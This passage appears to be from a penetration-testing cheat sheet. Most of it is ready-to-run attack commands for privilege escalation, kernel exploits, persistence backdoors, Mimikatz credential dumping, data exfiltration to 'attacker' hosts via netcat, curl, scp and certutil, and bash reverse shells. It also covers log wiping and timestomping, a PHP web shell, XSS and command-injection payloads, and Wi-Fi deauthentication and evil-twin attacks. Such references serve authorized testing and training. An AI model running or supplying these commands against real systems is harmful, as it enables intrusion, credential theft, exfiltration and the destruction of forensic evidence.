tasklist /svc                         # Services tied to processes
wmic service get name,startmode,pathname
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -Group "Administrators"
```

🛠 Check for AlwaysInstallElevated, unquoted service paths, weak folder perms.

⚙️ Windows PE – Automated Tools

```
# winPEAS (full Windows enum)
Download: https://github.com/carlospolop/PEASS-
ng/releases/latest/download/winPEASx64.exe
```

```
Run: winPEASx64.exe

Seatbelt.exe all         # Post-exploitation enumeration (AD, creds, misconfigs)

# Windows Exploit Suggester
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
cd Windows-Exploit-Suggester
python windows-exploit-suggester.py --database 2024.xml --systeminfo sysinfo.txt

# BeRoot (Windows)
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot/Windows && python3 beroot.py
```

🧬 Kernel Exploits (Examples)

```
# Dirty COW (CVE-2016-5195)
gcc dirtycow.c -o cow && ./cow         #as root or with proper perms

# OverlayFS Exploit (CVE-2021-3493, Ubuntu)
gcc overlayfs.c -o overlay && ./overlay

# Capabilities abuse
getcap -r / 2>/dev/null                # Look for cap_setuid, cap_net_bind_service,
etc.
```

🔒 Persistence Techniques

🐧 Linux

```
# Cronjob
@reboot /bin/bash /tmp/backdoor.sh   # In crontab or /etc/cron.d/

# SSH key backdoor
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys

# rc.local (legacy distros)
echo "/bin/bash /tmp/rev.sh &" >> /etc/rc.local

# Systemd service
echo -e "[Service]\nExecStart=/bin/bash /tmp/rev.sh" >
/etc/systemd/system/persist.service
systemctl enable persist
```

🪟 Windows

```
# Registry run key
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d
"C:\backdoor.exe"

# Scheduled task
schtasks /create /tn updater /tr "C:\payload.exe" /sc minute /mo 10
```

```
# Startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

# Create service
sc create backdoor binPath= "C:\payload.exe" start= auto
```

🧪 Credential Dumping

```
# Mimikatz
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Use sekurlsa::wdigest if enabled

# Dump LSASS and extract
procdump64.exe -ma lsass.exe lsass.dmp
.\mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# LaZagne (cross-platform password dumper)
./laZagne.py all     # Linux
LaZagne.exe all      # Windows
```

🎭 Session Hijacking

```
# Mimikatz token impersonation
token::elevate
use incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"
```

```
# Linux SSH agent hijack
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_rsa
ls -la /tmp/ssh-*        # Check for active agents
```

📤 Data Exfiltration

🐧 Linux

```
# Send over netcat
tar cz /etc | nc attacker 4444

# HTTP upload
curl -F "file=@/etc/passwd" http://attacker/upload.php

# SCP to attack box
scp /etc/shadow user@attacker:~/loot/

# Zip + split
zip -r loot.zip /target/folder && split -b 1M loot.zip part_
```

🪟 Windows

```
# PowerShell one-liner
[System.Net.WebClient]::new().UploadFile('http://attacker.com/file', 'C:\loot.zip')

# FTP script upload
ftp -s:upload.txt

# RAR with password
rar a -hp123456 secret.rar C:\SensitiveData

# Certutil exfil
certutil.exe -urlcache -split -f http://attacker.com/loot.zip loot.zip
```

🌪️ Shell Stabilization & Backgrounding

```
# Linux TTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm
stty rows 50 columns 120
```

```
# Background shell
CTRL+Z → fg
```

```
# Persistent reverse shell (one-liner)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Safer with: bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
# Listener: nc -lvnp 4444
```

🕵️ Anti-Forensics

```
# Clear bash history
echo > ~/.bash_history
history -c && history -w

# Clear logs
cat /dev/null > /var/log/auth.log
rm -f /var/log/wtmp /var/log/btmp /var/log/lastlog

# Windows logs
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
```

```
# Timestomp (Metasploit)
run post/windows/manage/timestomp
```

```
# Manual timestamp spoofing
python timestomp.py -m <mod> -a <access> -c <create> file.exe
```

📚 Essential Resources

- **GTFOBins:** https://gtfobins.github.io
- **LOLBAS (Windows):** https://lolbas-project.github.io
- **PayloadsAllTheThings:** https://github.com/swisskyrepo/PayloadsAllTheThings
- **Windows Exploit Suggester:** https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- **PEASS-ng (linPEAS/winPEAS):** https://github.com/carlospolop/PEASS-ng
- **Mimikatz:** https://github.com/gentilkiwi/mimikatz
- **Shell generator**: https://www.revshells.com

🌐 Web Application Attacks

🔍 Recon & Enumeration

💉 Injection Attacks

🕵️ Authentication & Session Attacks

📁 File Upload & Execution

🔐 Security Misconfiguration Testing

🧰 Core Tools Summary

📋 Vulnerability Checklist (Quick Ref)

🔗 Useful Web Attack Resources

🔍 Recon & Enumeration

```
# Discover endpoints and files
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
-t 50

# Dir brute-force with extension
ffuf -u http://target.com/FUZZ.php -w wordlist.txt

# Recursively scan subdirs
ffuf -u http://target.com/FUZZ -recursion -w wordlist.txt

# DNS & subdomain fuzzing
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 4242
```

```
# Gobuster (alt tool for directory brute-forcing)
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt -t 50

# Passive URL recon (archived endpoints)
waybackurls target.com
gau target.com
```

💉 Injection Attacks

🧪 SQL Injection (sqlmap)

```
# Detect injection
sqlmap -u "http://target.com/page.php?id=1" --batch

# Dump DBs and data
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D db -T users --dump

# Authenticated SQLi
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
```

🧬 XSS (XSStrike or manual)

```
# Scan for XSS
xsstrike -u "http://target.com/search?q=hello"

# Dalfox - smart XSS scanner
dalfox url http://target.com/search?q=hello

# Add custom headers or cookies
xsstrike -u URL --headers "User-Agent: X" --cookie "session=abc"

# Manual payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg/onload=alert(1)>
```

⚙️ Command Injection

```
# Simple payloads
127.0.0.1; whoami
& id
$(uname -a)
# Alternative syntax
$(id)    # Bypasses some filters

# Send via curl
curl -X POST -d "ip=127.0.0.1;id" http://target.com/ping
```

🚀 SSRF (Server-Side Request Forgery)

```
# Basic test
url=http://127.0.0.1:80

# Test via Burp or curl
curl -X POST -d "url=http://127.0.0.1:80" http://target.com/fetch

# Detect SSRF to metadata URLs (cloud)
http://169.254.169.254/latest/meta-data/
```

🕵️ Authentication & Session Attacks

```
# Brute-force login form
ffuf -w users.txt:USER -w passwords.txt:PASS -X POST -u http://target.com/login -d
"user=USER&pass=PASS" -H "Content-Type: application/x-www-form-urlencoded"

# Session fixation
1. Login with known session ID
2. Send same ID to victim, see if it persists after auth

# JWT Tampering
jwt_tool token.jwt -p
jwt_tool token.jwt -d                              # Decode
jwt_tool token.jwt -s secret                       # Brute-force signature
jwt_tool token.jwt --kid FUZZ -S wordlist.txt     # Key confusion
# Example of malicious header
# { "alg": "HS256", "kid": "../../../../public.pem" }
```

📂 File Upload & Execution

```
# Bypass extensions
file.php.jpg
file.phtml
file.php%00.jpg        # Null byte trick (if backend is vulnerable)
file.php;.jpg     # Apache semicolon trick
file.ph%70        # URL encoding

# Upload shell then access
curl -F "file=@shell.php" http://target.com/upload

# Example PHP web shell content
<?php system($_GET['cmd']); ?>

# Use Burp Repeater to tamper:
- Content-Type
- Filename
- Paths like ../../ or \\
```

🔒 Security Misconfiguration Testing

```
# CORS misconfig
curl -H "Origin: https://evil.com" -I http://target.com
# Look for: Access-Control-Allow-Origin: *

# HTTP method tampering
curl -X PUT http://target.com/resource
curl -X DELETE http://target.com/resource

# Check for default creds manually or via Hydra/Medusa

# Check for exposed config files
curl http://target.com/.env
```

```
ffuf -u http://target.com/.git/FUZZ -w wordlist.txt

# Look for tech info in response headers
curl -I http://target.com
```

🧰 Core Tools Summary

```
# Burp Suite (proxy, scanner, repeater)
burpsuite                                        # Launch
# Configure browser to proxy: 127.0.0.1:8080
# Use Repeater for fuzzing, scanning, manipulation

# XSStrike (XSS detection)
xsstrike -u "http://target.com/search?q=hello"

# sqlmap (automated SQLi)
sqlmap -u "http://target.com/page.php?id=1" --dbs

# ffuf (fast fuzzer)
ffuf -u http://target.com/FUZZ -w wordlist.txt

# gobuster (directory brute)
gobuster dir -u http://target.com -w wordlist.txt

# jwt_tool (JWT tampering)
jwt_tool token.jwt -p
```

📋 Vulnerability Checklist (Quick Ref)

Category	What to Test	Tool(s)
SQL Injection	Params, URLs, forms	sqlmap, Burp Repeater
XSS	Search, forms, URLs	XSStrike, Burp
Command Injection	IP fields, pings, uploads	curl, Burp
Directory Listing	/admin/, /backup/, auto-indexing	Browser, ffuf
File Upload Bypass	Extension tricks, MIME, path traversal	Burp, curl
CSRF	No token in POST	Burp
CORS	Wildcard headers, weak origins	curl
Auth Bypass	Logic flaws, hardcoded bypasses	Burp, manual testing
Session Attacks	Fixation, hijacking, weak tokens	jwt_tool, Burp
Subdomain Takeover	CNAMEs, dangling entries	amass, subjack

🔗 Useful Web Attack Resources

- **OWASP Top 10:** https://owasp.org/Top10
- **PayloadsAllTheThings:** https://github.com/swisskyrepo/PayloadsAllTheThings
- **SecLists (Wordlists):** https://github.com/danielmiessler/SecLists
- **XSStrike:** https://github.com/s0md3v/XSStrike
- **jwt_tool:** https://github.com/ticarpi/jwt_tool
- **ffuf:** https://github.com/ffuf/ffuf

- **Burp Extensions (BApp Store):** https://portswigger.net/bappstore

📶 Wireless Attacks

🔍 Interface Setup & Monitor Mode

📡 Capture WPA/WPA2 Handshake

🔓 WPA/WPA2 Cracking with Hashcat

🛰️ Evil Twin & Rogue Access Points

🧿 Bluetooth Attacks (Classic Bluetooth)

🧬 BLE (Bluetooth Low Energy)

🧰 Wireless Tool Summary

🔗 Wireless Attack Resources

🔍 Interface Setup & Monitor Mode

```
# List wireless interfaces
iwconfig          # (or: iw dev)

# Bring interface down
ip link set wlan0 down

# Enable monitor mode manually
iw dev wlan0 set type monitor

# Bring it back up
ip link set wlan0 up

# OR use airmon-ng helper
airmon-ng check kill           # Kill conflicting processes
airmon-ng start wlan0          # Enables monitor mode as wlan0mon

# Confirm mode
iwconfig
```

📡 Capture WPA/WPA2 Handshake

```
# View nearby access points
airodump-ng wlan0mon

# Focus on a single AP (channel + BSSID)
airodump-ng -c 6 --bssid <AP_MAC> -w capture wlan0mon

# Deauthenticate clients to force reconnection
aireplay-ng --deauth 10 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

# Confirm capture contains a handshake
aircrack-ng capture-01.cap
```

```
# Crack captured handshake with rockyou
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <AP_MAC> capture-01.cap
```

🔓 WPA/WPA2 Cracking with Hashcat

```
# Convert .cap to .hc22000 format
hcxpcapngtool -o output.hc22000 capture-01.cap

# Crack using Hashcat (GPU required)
hashcat -m 22000 -a 0 output.hc22000 /usr/share/wordlists/rockyou.txt --force
```

🛰️ Evil Twin & Rogue Access Points

```
# Create rogue AP with airbase-ng
airbase-ng -e "Free_WiFi" -c 6 wlan0mon

# Optional: assign IP & enable internet (via bridge or DHCP)
# Requires dnsmasq or bridge-utils (not shown here)
```

```
# Enterprise Evil Twin phishing with hostapd-wpe
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make
./hostapd-wpe hostapd-wpe.conf
```

🔑 Captures EAP creds for later cracking with `asleap` or `hashcat`.

🧿 Bluetooth Attacks (Classic Bluetooth)

```
# Start Bluetooth tools
bluetoothctl
power on
agent on
scan on

# Get device info
info <MAC_ADDRESS>
```

```
# Classic CLI tools
hcitool scan                 # Discover devices
l2ping <MAC_ADDRESS>        # Ping device
sdptool browse <MAC>        # List services
```

🧬 BLE (Bluetooth Low Energy)

```
# Passive scan for BLE devices
blescan

# Interact via gatttool (BlueZ)
gatttool -I
connect <MAC_ADDRESS>
```

```
primary                        # List services
char-desc                      # List characteristics
char-read-hnd 0x0025           # Read characteristic
char-write-req 0x0025 0100     # Write to handle
```

🧰 Wireless Tool Summary

Tool	Purpose	Notes / Source
aircrack-ng	WPA/WPA2 capture & crack	✅ Built-in (`/usr/bin/aircrack-ng`)
airmon-ng	Set monitor mode	Included in aircrack-ng suite
hcxpcapngtool	Convert cap to Hashcat format	✅ Kali default
hashcat	Fast WPA password cracking (GPU)	✅ `/usr/bin/hashcat`
bluetoothctl	Scan/control Bluetooth	✅ Installed by default
gatttool	BLE enumeration	Part of `bluez` ; install via apt
hostapd-wpe	WPA2-Enterprise rogue AP phishing	🔗 https://github.com/OpenSecurityResearch/hostapd-wpe

🔗 Wireless Attack Resources

- 🔧 Aircrack-ng Suite: https://www.aircrack-ng.org/
- 📦 Hashcat WPA Guide: https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- 📚 PayloadsAllTheThings (Wi-Fi): https://github.com/swisskyrepo/PayloadsAllTheThings
- 🧬 BlueZ (BLE tools): http://www.bluez.org/

🧰 Scripting & Automation

Use scripting to speed up recon, automate exploits, generate payloads, and process results.

🐚 Bash Scripting – Pentest Templates

🐍 Python – Exploit/Recon Basics

🔧 Automation Snippets

⚙️ File Handling & Chain Commands

📁 Wordlists & Recon Automation

🧪 Tool Chaining Examples

🐚 Bash Scripting – Pentest Templates

```
# Port scan automation
for ip in $(cat targets.txt); do
  nmap -sV -T4 -oN scans/$ip.txt $ip
done

# Quick banner grabber
for ip in $(cat ips.txt); do
  echo "[+] $ip"
  echo | timeout 3 bash -c "nc -nv $ip 80" 2>/dev/null | head -n 1
done
```

```
# Directory bruteforce wrapper (ffuf)
for url in $(cat urls.txt); do
  ffuf -u $url/FUZZ -w wordlist.txt -o ffuf_$url.json -of json
done
```

🐍 Python – Exploit/Recon Basics

```
# Basic port scanner
import socket
for port in range(20, 1025):
    try:
        s = socket.socket()
        s.settimeout(0.5)
        s.connect(("192.168.1.1", port))
        print(f"Port {port} is open")
        s.close()
    except:
        pass
```

```
# URL status checker
import requests
urls = ["http://site.com", "http://site.com/admin"]
for u in urls:
    try:
        r = requests.get(u, timeout=3)
        print(f"{u} [{r.status_code}]")
    except:
        print(f"{u} failed")
```

🔧 Automation Snippets

```
# Reverse shell one-liner
LHOST=10.10.14.2
LPORT=4444
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"

# Quick ping sweep
for i in {1..254}; do
  ping -c1 192.168.1.$i | grep "64 bytes" &
done

# Extract emails from files
grep -E -o "\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-z]{2,6}\b" *.txt | sort -u
```

⚙️ File Handling & Chain Commands

```
# Find live hosts
fping -a -g 192.168.1.0/24 2>/dev/null > live_hosts.txt

# Replace LHOST in all payloads
find . -type f -exec sed -i 's/LHOST/10.10.14.2/g' {} +
```

```
# Take screenshots of URLs (Aquatone)
cat urls.txt | aquatone -out screenshots/
```

📁 Wordlists & Recon Automation

```
# Create numeric wordlist
crunch 4 4 1234567890 -o pinlist.txt

# Crawl and extract links
wget --spider --force-html -r -l2 http://target.com 2>&1 | grep '^--' | cut -d' ' -f3 |
sort -u

# Extract subdomains
cat recon.txt | grep -Eo "[a-zA-Z0-9.-]+\.target\.com" | sort -u
```

🧪 Tool Chaining Examples

```
# Nuclei batch scan
for url in $(cat targets.txt); do
  nuclei -u $url -t cves/ -o scan_$url.txt
done

# sqlmap automation
for url in $(cat vuln_urls.txt); do
  sqlmap -u "$url" --batch --threads=5 --level=2
done
```